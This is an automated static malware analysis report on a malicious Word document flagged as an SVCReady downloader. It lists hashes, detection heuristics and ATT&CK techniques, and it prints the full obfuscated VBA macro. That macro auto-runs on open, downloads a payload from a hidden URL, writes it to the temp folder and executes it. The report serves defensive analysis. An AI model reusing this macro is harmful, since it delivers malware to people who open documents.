Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8e382b34276f8a42…

MALICIOUS

Office (OOXML)

113.9 KB Created: 2020-07-28 09:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 7a045d6e54d37ba736c88e8f2012b794 SHA-1: bb632a98d896e13cd29d6ec1e007a01a1ce80170 SHA-256: 8e382b34276f8a42ee4c136c43ecbdff7c060c82995cac7bb1bc00413d5bcaae
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The script attempts to download and execute a second-stage payload by constructing a temporary file path and executing it. The presence of the AutoOpen macro and the execution of external commands strongly suggest a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3700 bytes
SHA-256: ada808a94badc993dd89c4dc15daafb551ecb7ff1b4f5c73ab752d4a6281d5db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dbd368d4"
Function b9e82776()
b9e82776 = ActiveWindow.StyleAreaWidth
End Function
Function b98b991c()
b98b991c = Application.ActiveDocument.ConsecutiveHyphensLimit
End Function
Function f34ef3a6()
f34ef3a6 = ActiveWindow.HorizontalPercentScrolled
End Function
Sub AutoOpen()
Dim c699ae77 As New dfd1af1f
aaa = b2ca9253(a02c5252)
d7e21c89 = c699ae77.f8dd0d5f(aaa, "")
b1fa6e0e ed72f32d, d7e21c89
beba6b04 = b2ca9253(ActiveDocument.Shapes(1).Title)
Dim e45ff1c0 As New WshShell
e45ff1c0.exec "" & beba6b04 & " " & ed72f32d
End Sub

Attribute VB_Name = "a30a460e"
Function a08ed9de()
a08ed9de = Application.ActiveDocument.CompatibilityMode
End Function
Function f1ca48af()
f1ca48af = ActiveWindow.DisplayRulers
End Function
Function d7614117()
d7614117 = ActiveWindow.UsableHeight
End Function
Sub b1fa6e0e(b34d5d11, da4e552b)
Dim af6dd9e6
af6dd9e6 = FreeFile
Open b34d5d11 For Output As #af6dd9e6
Print #af6dd9e6, e6317aed(da4e552b)
Close #af6dd9e6
End Sub
Function ed72f32d()
ed72f32d = Environ("tmp") & "\main.theme"
End Function
Function d0008e0d()
d0008e0d = ActiveWindow.UsableHeight
End Function
Function f5bb5510()
f5bb5510 = "a7D0p6W3J"
End Function
Function a8be94d6()
a8be94d6 = Application.ActiveDocument.AutoHyphenation
End Function
Function b2ca9253(ef6a1d34)
For a39e0c23 = 1 To Len(ef6a1d34) Step 3
b0b08fdd = Mid(ef6a1d34, a39e0c23, 1)
e3ca6943 = e3ca6943 & b0b08fdd
Next
b2ca9253 = e3ca6943
End Function
Function d78d6591()
d78d6591 = ActiveWindow.DisplayVerticalRuler
End Function
Function d480439d()
d480439d = ActiveWindow.IMEMode
End Function
Function eafdd953()
eafdd953 = "a0Z8yID"
End Function
Sub ffe9fe2a()
End Sub
Function a8c3adfa()
a8c3adfa = Application.ActiveDocument.AutoFormatOverride
End Function
Function d16b4115()
d16b4115 = ActiveWindow.DisplayVerticalScrollBar
End Function
Function b38feb5e()
b38feb5e = Application.ActiveDocument.AutoFormatOverride
End Function
Function e6317aed(da4e552b)
e6317aed = StrConv(da4e552b, 64)
End Function
Function a99ea510()
a99ea510 = ActiveWindow.Index
End Function
Function bc47c0f5()
bc47c0f5 = ActiveWindow.DisplayRightRuler
End Function
Function de2bb24c()
de2bb24c = ActiveWindow.Creator
End Function
Function a02c5252()
a02c5252 = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "dfd1af1f"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function e0f23304()
e0f23304 = ActiveWindow.UsableHeight
End Function
Function e3259e5b()
e3259e5b = Application.ActiveDocument.AutoHyphenation
End Function
Function ed7e4ec2()
ed7e4ec2 = ActiveWindow.DisplayLeftScrollBar
End Function
Function f8dd0d5f(c2cfecec, a921aa37)
Dim c614833d As Object
Set c614833d = New MSXML2.XMLHTTP60
Call c614833d.Open("GET", c2cfecec, False)
c614833d.Send
f8dd0d5f = c614833d.responsebody
End Function
Function a92bae29()
a92bae29 = Application.ActiveDocument.CurrentRsid
End Function
Function a26bea05()
a26bea05 = ActiveWindow.Parent
End Function
Function dbc095f5()
dbc095f5 = "Rasing unkindness exasperating acrobat"
End Function
Function e9e55201(fab4d671)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: 39665ecafca4b3014a79492d2df2e6ac769f1e5962d859fd282492bc2147397f

Open this report in the interactive analyzer, or submit your own file for analysis.